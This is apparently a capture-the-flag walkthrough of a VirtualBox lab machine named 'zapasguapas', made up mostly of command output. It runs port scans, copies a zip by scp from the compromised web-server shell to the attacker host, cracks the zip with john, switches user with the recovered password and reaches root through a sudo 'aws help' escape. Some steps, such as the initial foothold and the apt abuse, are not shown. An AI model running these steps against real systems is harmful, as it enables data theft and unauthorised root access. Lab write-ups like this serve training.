┌──(root㉿Eecho)-[~] └─# rustscan -a 192.168.43.167 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Making sure 'closed' isn't just a state of mind.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.43.167:22 Open 192.168.43.167:80 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.167 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-21 17:13 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 17:13 Completed NSE at 17:13, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 17:13 Completed NSE at 17:13, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 17:13 Completed NSE at 17:13, 0.00s elapsed Initiating ARP Ping Scan at 17:13 Scanning 192.168.43.167 [1 port] Completed ARP Ping Scan at 17:13, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 17:13 Completed Parallel DNS resolution of 1 host. at 17:13, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 17:13 Scanning 192.168.43.167 [2 ports] Discovered open port 22/tcp on 192.168.43.167 Discovered open port 80/tcp on 192.168.43.167 Completed SYN Stealth Scan at 17:13, 0.02s elapsed (2 total ports) Initiating Service scan at 17:13 Scanning 2 services on 192.168.43.167 Completed Service scan at 17:13, 6.02s elapsed (2 services on 1 host) Initiating OS detection (try #1) against 192.168.43.167 NSE: Script scanning 192.168.43.167. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 17:13 Completed NSE at 17:13, 0.26s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 17:13 Completed NSE at 17:13, 0.01s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 17:13 Completed NSE at 17:13, 0.00s elapsed Nmap scan report for 192.168.43.167 Host is up, received arp-response (0.00063s latency). Scanned at 2026-05-21 17:13:14 CST for 8s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 7e:42:d0:d4:c9:36:f4:f8:e6:77:c2:c6:7e:25:dc:ff (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCNtVluoiY6ZuAKACUyXF2aWn6CwNbFat1gO8HsLHUy/FTFFu3dReslLk6MF229xfVw0B4/DK9115slid83YXsg= | 256 6f:a0:50:44:9f:a2:fb:99:40:f3:90:af:56:cc:34:e3 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEDEt40ciB70mDvw9Yi9KrvYynNia3oropbWI1lKwzAX 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.57 ((Debian)) |_http-server-header: Apache/2.4.57 (Debian) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-title: Zapasguapas MAC Address: 08:00:27:28:60:FA (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=5/21%OT=22%CT=%CU=31588%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=6A0ECCB2%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=109%TI=Z%CI=Z%II=I% OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5 OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6= OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O% OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0 OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N OS:%T=40%CD=S)
Uptime guess: 3.249 days (since Mon May 18 11:14:22 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=260 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.63 ms 192.168.43.167
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 17:13 Completed NSE at 17:13, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 17:13 Completed NSE at 17:13, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 17:13 Completed NSE at 17:13, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.42 seconds Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
www-data@zapasguapas:/opt$ scp importante.zip root@192.168.43.6:/tmp/bbbb The authenticity of host '192.168.43.6 (192.168.43.6)' can't be established. ED25519 key fingerprint is SHA256:ZyUbPteDlhKgfFR102PGhJUWNS++vR62HchhPFY2Cfw. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Could not create directory '/var/www/.ssh' (Permission denied). Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts). root@192.168.43.6's password: importante.zip
使用zip2john导出hash并使用john爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(root㉿Eecho)-[/tmp/bbbb] └─# zip2john importante.zip > zip_hash.txt ver 2.0 efh 5455 efh 7875 importante.zip/password.txt PKZIP Encr: TS_chk, cmplen=76, decmplen=71, crc=9CB8F6B5 ts=4C4E cs=4c4e type=8 ┌──(root㉿Eecho)-[/tmp/bbbb] └─# ls importante.zip zip_hash.txt ┌──(root㉿Eecho)-[/tmp/bbbb] └─# john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 24 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status hotstuff (importante.zip/password.txt) 1g 0:00:00:00 DONE (2026-05-21 17:38) 50.00g/s 2457Kp/s 2457Kc/s 2457KC/s 123456..trudy Use the "--show" option to display all of the cracked passwords reliably Session completed.
成功获取到密码,解压出来
1 2 3 4 5 6 7 8 9 10
┌──(root㉿Eecho)-[/tmp/bbbb] └─# unzip importante.zip Archive: importante.zip [importante.zip] password.txt password: inflating: password.txt ┌──(root㉿Eecho)-[/tmp/bbbb] └─# cat password.txt He conseguido la contraseña de pronike. Adidas FOREVER!!!!
pronike11
得到了pronike用户的凭证
横向移动到pronike用户
1 2 3 4
www-data@zapasguapas:/opt$ su pronike Password: pronike@zapasguapas:/opt$
pronike -> proadidas
1 2 3 4 5 6
pronike@zapasguapas:~$ sudo -l Matching Defaults entries for pronike on zapasguapas: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User pronike may run the following commands on zapasguapas: (proadidas) NOPASSWD: /usr/bin/apt
proadidas@zapasguapas:/home/pronike$ sudo /usr/bin/aws help root@zapasguapas:/home/pronike# id uid=0(root) gid=0(root) grupos=0(root) root@zapasguapas:/home/pronike#